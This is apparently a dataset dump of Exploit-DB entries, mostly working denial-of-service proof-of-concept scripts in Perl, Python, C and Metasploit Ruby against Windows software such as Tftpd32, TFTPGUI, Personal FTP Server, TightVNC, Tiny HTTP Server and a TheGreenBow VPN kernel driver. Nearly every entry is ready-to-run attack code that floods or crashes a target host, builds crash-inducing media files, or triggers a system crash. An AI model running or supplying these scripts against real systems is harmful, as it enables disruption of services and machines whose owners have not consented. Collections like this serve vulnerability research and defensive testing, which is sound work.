deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1424
Description: TFTPD32 2.81 - GET Format String Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2006-01-19
Author: Critical Security

Exploit:
#!/usr/bin/perl
# Tftpd32 Format String PoC DoS by Critical Security research http://www.critical.lt
use IO::Socket;
$port = "69";
$host = "127.0.0.1";
$tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');
$bzz = "\x00\x01" ;   #GET
$bzz .= "%.1000x\x00";
$bzz .= "\x6F\x63\x74\x65\x74\x00"; #octet
$tftpudp->send($bzz);

# milw0rm.com [2006-01-19]
Exploit-DB #33348
Description: TFTPD32 4.5 / TFTPD64 4.5 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2014-05-14
Author: Martinez FrostCard

Exploit:
# Exploit Title: TFTPD32 4.5 / TFTPD64 4.5 DoS poc
# Date: 13/05/2014
# Exploit Author: j0s3h4x0r
# Homepage: http://tftpd32.jounin.net/tftpd32_testimonials.html
# Software Link: http://tftpd32.jounin.net/download/tftpd32.450.zip
# Version: 4.5 32 bits / 4.5 64 bits
# Tested on: [Windows 7 x64]

#this proof of concept code will crash tftpd32 and tftpd64
#you can try changing $j and $i loop limits
#most of the times EIP reaches 0x2E373231 == "127." or any string contained in tftpd32 error logs
#and sometimes EIP reaches addresses similar to 0x00013200 so Remote Code Execution may be possible using some form of heap-spray

## Exploit-DB Note: $j=5, $i=2500 caused a crash. 



#!/usr/bin/perl -w

use IO::Socket;

for (my $j = 0; $j < 2; $j++)
{
	sleep(2);
	for (my $i = 0; $i < 1500; $i++)
	{
		$st_socket = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error";
	
		$p_c_buffer = "\x0c\x0d" x 10;
	
		print $st_socket $p_c_buffer;
	
		close($st_socket);

		print "sent " . $i . "\n";
	}
}

exit;
Exploit-DB #18946
Description: TFTPD32 DNS Server 4.00 - Denial of Service
Type: dos
Platform: windows
Date: 2012-05-29
Author: demonalex

Exploit:
Title: Tftpd32 DNS Server Denial Of Service Vulnerability
Software : Tftpd32

Software Version : v4.00

Vendor: http://tftpd32.jounin.net/ 

Vulnerability Published : 2012-05-26

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Tftpd32 is a free tftp and dns server for windows, freeware tftp server.
And the dns server would bind udp port 53, but it does not validate the domain option size leading to a Denial Of Service flaw while sending more than 127 characters to it.

Solution :
The tftpd32's dns server can drop the evil request when it was detected the domain option size were longer than 127 characters.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use IO::Socket;
use Socket;
use Math::BigInt;
$|=1;
$host=shift;
$port=shift || '53';
die "usage: $0 \$host [\$port]\n" if(!defined($host));
$target_ip = inet_aton($host);
$target = sockaddr_in($port, $target_ip);
$crash='A'x128;
$transaction_id_count=1;
sub dns_struct_pack($){
  $domain=shift;                  #domain
  $type="\x00\xff";               #dns_type = ANY
  $transaction_id_count=1 if($transaction_id_count > 255);
  $x=Math::BigInt->new($transaction_id_count);
  $x=~s/0x//;
  $transaction_id=sprintf("\x00".chr($x));
  $flag="\x01\x00";
  $question="\x00\x01";
  $answer_rrs="\x00\x00";
  $authority_rrs="\x00\x00";
  $additional_rrs="\x00\x00";
  if($domain ne '0'){
    undef($domain_length);
    $domain_length=length($domain);
    $y=Math::BigInt->new($domain_length);
    $y=~s/0x//;
    $domain_length=chr($y);
  }
  $class="\x00\x01";                    #IN
  $transaction_id_count++;
  if($domain eq '0'){
    $packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."\x00"."$type"."$class";
  }else{
    $packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."$domain_length"."$domain".
    "\x00"."$type"."$class";
  }    
  return $packet_struct;
}
print "Launch attack ... ";
socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
send(SOCK1, &dns_struct_pack($crash), 0, $target);
close(SOCK1);
print "Finish!\n";
exit(0);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK
Exploit-DB #12482
Description: TFTPGUI - Long Transport Mode Overflow
Type: dos
Platform: windows
Date: 2010-05-02
Author: Jeremiah Talamantes

Exploit:
# Exploit Title: TFTPGUI Long Transport Mode Overflow
# Date: 5/1/2010
# Author: Jeremiah Talamantes
# Software Link: http://sourceforge.net/projects/tftputil/files/TFTPUtil/TFTPUtil%20Version%201.4.5/TFTPUtil_GUI_Version_1.4.5_Binary_Installer.exe/download
# Version: 1.4.5
# Tested on: Windows XP, SP2 (En)
# CVE : N/A

#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##             TFTPGUI Long Transport Mode Overflow            ##"
print "##                        Version 1.4.5                        ##"
print "##                      LIST Vulnerability                     ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   labs@redteamsecure.com                    ##"
print "################################################################# \n"

import socket
import sys

# Change these values to suit your needs
host = '192.168.1.108'
port = 69
 
try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "Error: unable to connect."
   sys.exit(1)
 
# Creating the overly long transport mode string 
fn = "A"
md = "A" * 500
stuff = "\x00\x02" + fn + "\0" + md + "\0"

# Send data
s.sendto(stuff, (host, port))
print "Check to see if TFTPGUI is still running..."

# End
Exploit-DB #12530
Description: TFTPGUI 1.4.5 - Long Transport Mode Overflow Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2010-05-08
Author: Jeremiah Talamantes

Exploit:
# Title: TFTPGUI v1.4.5 Long Transport Mode Overflow
# EDB-ID: 12482
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Jeremiah Talamantes
# Published: 2010-05-02
# Verified: yes

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

##
#
# TFTPGUI v1.4.5 Long Transport Mode Overflow
#
# Tested on: Windows XP, SP2 (EN)
#
# Date tested: 5/2/2010
#
#
# |~Greetz to Devin @ infointox.net~|
#
# Discovered by: Jeremiah Talamantes
# RedTeam Security
# http://www.redteamsecure.com
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Udp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFTPGUI v1.4.5 Long Transport Mode Overflow',
			'Description'    => %q{
				The TFTPUtil GUI server version 1.4.5 can be
				DOSed by sending a specially crafted request. Discovered by
				Jeremiah Talamantes at RedTeam Security. 
				Greetz to Devin @ infointox.net.
			},
			'Author'         => 'Jeremiah Talamantes (RedTeam Security)',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[ 
					[ 'URL', 'http://www.redteamsecure.com/labs/post/37/redteam-discovers-0-day-in-tftpgui'], 
					[ 'URL', 'http://www.exploit-db.com/exploits/12482'], 
					[ 'URL', 'https://www.securityfocus.com/bid/39872'],
				],
			'DisclosureDate' => 'May 02 2010'))

		register_options([Opt::RPORT(69)])
	end

	def run
		connect_udp
		print_status("Sending naughty request...")
		$fn = "A"
		$md = "A" * 496
		$stuff = "\00\x02" + $fn + "\0" + $md + "\0"
		udp_sock.put($stuff)		
		disconnect_udp
	end
end
Exploit-DB #9528
Description: TFTPUtil GUI 1.3.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-08-26
Author: ThE g0bL!N

Exploit:
#!/usr/bin/python

import socket
import sys
from time import *

#Download:http://www.brothersoft.com/tftputil-131537.html
#Note; Good Ramadan For all MuSLimS
if len(sys.argv)!=2:
 print "[x]TFTPUtil GUI 1.3.0 GUI Remote Denial Of Service Exploit"
 print "[x]Author : ThE g0bL!N"
 print "[x]Big Thanx : His0k4\n"
 print "[+]Usage: %s <target_ip>" %sys.argv[0]
 sys.exit(0)

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

mode = "\x41"*384

filename = "test"

payload = "\x00\x01" + filename + "\x00" + mode + "\x00"

print "[x] Sending the payload..."
sleep(2)
s.sendto(payload, (sys.argv[1], 69))
print "[x] Done!"

# milw0rm.com [2009-08-26]
Exploit-DB #15674
Description: TFTPUtil GUI 1.4.5 - Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2010-12-04
Author: Vuk Ivanovic

Exploit:
# Title: TFTPUtil GUI v1.4.5 Invalid Request DoS
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Vuk Ivanovic
# Published: 2010-12-04
# Verified: yes
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
##
#
# TFTPGUI v1.4.5 Invalid Request DoS
#
# Tested on: Windows XP, SP2 (EN)
#
# Date tested: 11/27/2010
#
#
# 
# Discovered by: Vuk Ivanovic(musashi42)
# 
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Auxiliary
 
    include Msf::Exploit::Remote::Udp
    include Msf::Auxiliary::Dos
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'TFTPGUI v1.4.5 Invalid Request DoS',
            'Description'    => %q{
                The TFTPUtil GUI server version 1.4.5 can be
                DOSed by sending a specially crafted read request. Depending
		of the setup, sending write request "\x00\x02" may also
		work. Discovered by musashi42.
                
            },
            'Author'         => 'musashi42',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 2 $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/12482'],
                    [ 'URL', 'https://www.securityfocus.com/bid/39872'],
                ],
            'DisclosureDate' => 'December 04 2010'))
 
        register_options([Opt::RPORT(69)])
    end
 
    def run
        connect_udp
        print_status("Sending read request...")
        $stuff = "\00\x01"
        udp_sock.put($stuff)       
        disconnect_udp
    end
end
Exploit-DB #6458
Description: The Personal FTP Server 6.0f - RETR Denial of Service
Type: dos
Platform: windows
Date: 2008-09-14
Author: Shinnok

Exploit:
/*
*** The Personal FTP Server 6.0f RETR DOS exploit ***

A vulnerability exists in the way Personal FTP Server handles
multiple RETR commands with overly long filenames.When confronted
with such consecutive requests the server will crash.

Usage : ./pftpdos ip port user password
Ex. : ./pftpdos 127.0.0.1 21 test test

Personal FTP Server homepage: http://www.michael-roth-software.de/

Discovey + POC by Shinnok raydenxy [at] yahoo <dot> com
http://shinnok.evonet.ro

*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <errno.h>

int
min (int x, int y)
{
    if (x < y)return x;
    else
    return y;
}
extern int errno;

int
main (int argc, char *argv[])
{
    struct sockaddr_in server;
    int i, t, s;
    char *req, *buff;
    s = socket (AF_INET, SOCK_STREAM, 0);
    bzero (&server, sizeof (server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr (argv[1]);
    server.sin_port = htons (atoi (argv[2]));
    connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));
    req = malloc (sizeof (char) * \
    (((strlen (argv[3]) - strlen (argv[4])) + \
    min (strlen (argv[3]), strlen (argv[4])) + 8)));
    sprintf (req, "USER %s\xD\xA", argv[3]);
    write (s, req, strlen (req));
    sprintf (req, "PASS %s\xD\xA", argv[4]);
    write (s, req, strlen (req));
    free (req);
    for (i = 1; i <= 5; i++)
    {
        t = (sizeof (char) * 1000 * i);
        buff = malloc (t + 1);
        memset (buff, 'A', t);
        buff[t + 1] = '\0';
        req = malloc (t + 9);
        sprintf (req, "RETR %s\xD\xA", buff);
        if (write (s, req, strlen (req)) == -1)
        {
            perror (NULL);
            printf ("Target pwned!\n", errno);
        }
        free (req);
        free (buff);
        sleep (1);
    }
    close (s);
    return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-14]
Exploit-DB #9449
Description: TheGreenBow VPN Client - 'tgbvpn.sys' Local Denial of Service
Type: dos
Platform: windows
Date: 2009-08-18
Author: Evilcry

Exploit:
Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry {AT} GMAIL {DOT} COM
Website: http://evilcry.netsons.org
             http://evilcodecave.blogspot.com
             http://evilcodecave.wordpress.com
             http://evilfingers.com
             http://malwareAnalytics.com [under construction]

Release Date: 15/08/2009

+-------------------------------------------------+
Product: TheGreenBow VPN Client 4.61.003  (other versions could be affected)
Affected Component: tgbvpn.sys
Category: Local Denial of Service (BSOD)
         (untested) Local Privilege Escalation

+-------------------------------------------------+



--------------------------[Details]--------------->

TheGreenBow's tgbvpn.sys Driver does not sanitize user supplied input
(IOCTL)
and this lead to a Driver Collapse that propagates on the system with a
BSOD,
and potential risk of Privilege Escalation.

Affected IOCTL is 0x80000034

Transfer Type: METHOD_BUFFERED

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
ef1cabf4 841d36a8 ef1cac58 841d36a8 f42dd895 tgbvpn+0x9f51
[PII_REDACTED] [PII_REDACTED] 00000000 0x841d36a8


+--------------------------------------------------------------------------------------------+
/* tgbvpn.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
 *
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry {AT} gmail. {DOT} com
 * Website: http://evilcry.netsons.org
 * http://evilcodecave.blogspot.com
 * http://evilcodecave.wordpress.com
 * http://evilfingers.com
 * http://malwareAnalytics.com [under construction]
 */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
   HANDLE hDevice;
   DWORD Junk;



   system("cls");
   printf("\n .:: TheGreenBow DoS Proof of Concept ::.\n");

   hDevice = CreateFileA("\\\\.\\tgbvpn",
                       0,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL,
                       OPEN_EXISTING,
                       0,
                       NULL);

   if (hDevice == INVALID_HANDLE_VALUE)
   {
       printf("\n Unable to Device Driver\n");
       return EXIT_FAILURE;
   }

   DeviceIoControl(hDevice, 0x80000034,(LPVOID) 0x80000001, 0, (LPVOID)
0x80000002, 0, &Junk, (LPOVERLAPPED)NULL);


   return EXIT_SUCCESS;
}

+--------------------------------------------------------------------------------------------+

# milw0rm.com [2009-08-18]
Exploit-DB #7904
Description: Thomson mp3PRO Player/Encoder - '.m3u' Crash (PoC)
Type: dos
Platform: windows
Date: 2009-01-29
Author: Hakxer

Exploit:
#!/usr/bin/perl
# Discovered & Written by : Hakxer [ Sec-geeks.com] EgY Coders Team :D
# program  : Thomson mp3PRO Player/Encoder  [ M3U File ] Crash PoC
# what happen .. : when you import hakxer.m3u file into program ....... Get Crashed :D
# Greetz : EgyptianxHacker , Providor , EgY Coders team , Bin@ry , Sec-geeks.com , Stealth
# Proud to Be Egyptian & Arabian .....
#
# Download : http://www.mp3prozone.com/assets/mp3PROAudioPlayer.exe .. thx

my $SC="\x48\x61\x6B\x78\x65\x72"; # Secret c0de :D

my $c0d3="\x90" x 500000;
my $fake="http://"."A" x 800000;
open(MYFILE,'>>hakxer.m3u');
print MYFILE $fake;
print MFFILE $c0d3;
close(MYFILE);
print "PoC Created .. Hakxer [sec-geeks.com] EgY Coders Team my SC : $SC";

# milw0rm.com [2009-01-29]
Exploit-DB #18124
Description: Thunder Kankan Player 4.8.3.840 - Stack Overflow / Denial of Service
Type: dos
Platform: windows
Date: 2011-11-18
Author: hellok

Exploit:
#!/usr/bin/env python
print """
#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0      ___           ___           ___       ___       ___           ___     1
#1     /\__\         /\  \         /\__\     /\__\     /\  \         /\__\    0
#0    /:/  /        /::\  \       /:/  /    /:/  /    /::\  \       /:/  /    1
#1   /:/__/        /:/\:\  \     /:/  /    /:/  /    /:/\:\  \     /:/__/     0
#0  /::\  \ ___   /::\~\:\  \   /:/  /    /:/  /    /:/  \:\  \   /::\__\____ 1
#1 /:/\:\  /\__\ /:/\:\ \:\__\ /:/__/    /:/__/    /:/__/ \:\__\ /:/\:::::\__\0
#0 \/__\:\/:/  / \:\~\:\ \/__/ \:\  \    \:\  \    \:\  \ /:/  / \/_|:|~~|~   1
#1      \::/  /   \:\ \:\__\    \:\  \    \:\  \    \:\  /:/  /     |:|  |    0
#0      /:/  /     \:\ \/__/     \:\  \    \:\  \    \:\/:/  /      |:|  |    1
#1     /:/  /       \:\__\        \:\__\    \:\__\    \::/  /       |:|  |    0
#0     \/__/         \/__/         \/__/     \/__/     \/__/         \|__|    1
#1                                                                            0
#0  [+] Exploit Title: Thunder kankan player Stack overflow/DOS Exploit       1
#1  [+] Date :11/17/2011                                                      0
#0  [+] Author:  hellok(warptencq[dot]gmail.com)                              1
#1  [+] Software Link: dl.xunlei.com/xmp.html                                 0
#0  [+] Version :   4.8.3.840(last)                                           1
#1  [+] Tested On:  WIN 7                                                     0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-1
"""
filepath = "exploit.wav"
f = open(filepath, "wb")
file = '\x52\x49\x46\x46\x62\xb8\x20\x20\x57\x41\x56\x45\x66\x6d\x74\x20'
f.write(file)
f.close()

print "Done.\nOpen exploit.wav"
Exploit-DB #8024
Description: TightVNC - Authentication Failure Integer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-02-09
Author: desi

Exploit:
#!/usr/bin/env python

#digital.desi@in.com

# Modified  Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388

import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
		clientsocket, clientaddres = serversocket.accept()
		
		data = 'RFB 003.008\n'
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		print data_cli

		data = '\x02\x02\x10'
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)

		data = '\x00'*4
		clientsocket.sendall(data)

		data = ('\x00'*3)+'\x01'
		clientsocket.sendall(data)

		data = ('\x00'*3)+'\x02STDVVNCAUTH_'
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)

		data = ('\x01'*16)
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		
		data = '\x00\x00\x00\x01'
		clientsocket.sendall(data)

		data = '\xf0\xff\xff\xff'
		clientsocket.sendall(data)

		data = 'A'*10000
		clientsocket.sendall(data)

clientsocket.close()
serversocket.close()

# milw0rm.com [2009-02-09]
Exploit-DB #18524
Description: Tiny HTTP Server 1.1.9 - Remote Crash (PoC)
Type: dos
Platform: windows
Date: 2012-02-25
Author: localh0t

Exploit:
#!/usr/bin/python

# Tiny HTTP Server <=v1.1.9 Remote Crash PoC
# written by localh0t
# Date: 24/02/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
# Targets: Windows (All)

import httplib,sys

if (len(sys.argv) < 3):
	print "\nTiny HTTP Server <=v1.1.9 Remote Crash PoC"
        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()

payload = "X" * 658

try:
	print "\n[!] Connecting to %s ..." %(sys.argv[1])
	httpServ = httplib.HTTPConnection(sys.argv[1] , int(sys.argv[2]))
	httpServ.connect()
	print "[!] Sending payload..."
	httpServ.request('GET', "/" + str(payload))
	print "[!] Exploit succeed. Check %s if crashed.\n" %(sys.argv[1])
except:
	print "[-] Connection error, exiting..."

httpServ.close()
sys.exit()
Exploit-DB #18629
Description: Tiny Server 1.1.9 - HEAD Denial of Service
Type: dos
Platform: windows
Date: 2012-03-20
Author: brock haun

Exploit:
#!/usr/bin/python
###############################################################################
# Overflow exploiting a vulnerability in Tiny Server <=1.1.9 (HTTP) HEAD request.
# Date of Discovery: 3/19/2012 (0 Day)
# Author: Brock Haun
# Vulnerable Software Download: http://tinyserver.sourceforge.net/tinyserver_full.zip
# Software Version: <=1.1.9
# Target OS: Windows (Tested on Windows 7)
###############################################################################

import httplib,sys

if (len(sys.argv) != 3):
    print '\n\t[*]Usage:  ./' + sys.argv[0] + ' <target host> <port>'
    sys.exit()

host = sys.argv[1]
port = sys.argv[2]
buffer = 'A' * 100 + 'HTTP/1.0\r\n'

print '\n[*]*************************************************'
print '[*] Tiny Server <= 1.1.0(HTTP) HEAD request overflow'
print '[*] Written by Brock Haun'
print '[*] security.brockhaun@gmail.com'
print '[*]*************************************************\n'

try:
    print '\n\t[*] Attempting connection.'
    httpServ = httplib.HTTPConnection(host , port)
    httpServ.connect()
    print '\n\t[*] Connected.'
    print '\n\t[*] Sending crash buffer.'
    httpServ.request('HEAD' , buffer)
    print '\n\t[*] Done! Target should be unresponsive!'
except:
    print '\n\t[***] Connection error. Something went wrong. :('
    
httpServ.close()
sys.exit()
Exploit-DB #1758
Description: TinyFTPD 1.4 - 'USER' Remote Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2006-05-06
Author: [Oo]

Exploit:
#!/bin/perl
#
# Title: TinyFTPD <= 1.4 USER command D.O.S
# Credits: [Oo]
#
#
use IO::Socket;

print "[i] TinyFTPD <= 1.4 USER command D.O.S\n";
print "[i] coded by [Oo]\n";


if (@ARGV < 2)
{
 print "\n[*] Usage: tinyftpd_dos.pl host port\n";
 print "[*] Exemple: tinyftpd_dos.pl 192.168.0.1 21\n";
 exit;
}


$ip = $ARGV[0];
$port = $ARGV[1];

$exploit = "(A" x 9000;

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending bad request...\n";

print $socket "USER $exploit\n";
sleep(5);
close($socket);

print "[?] DoSed?\n";

# milw0rm.com [2006-05-06]
Exploit-DB #23595
Description: TinyServer 1.1 - Denial of Service
Type: dos
Platform: windows
Date: 2004-01-24
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9485/info
 
TinyServer is prone to multiple vulnerabilities.
 
A directory traversal issue is present in TinyServer that could allow a remote user to view or download any file to which the server has access.
 
A denial of service issue exists due to the failure of the server to check input strings received. Attackers can crash the server by simply sending malformed HTTP GET requests. Sending an HTTP GET request with excessively long data can also cause the server to fail. It is not known if this issue may also result in code execution.
 
A cross-site scripting issue is also present in the server. This could allow for theft of cookie-based authentication credentials or other attacks. 

GET /index.htm

index.htm

GET /aaaaaa[ 260 of a ]aaa HTTP/1.1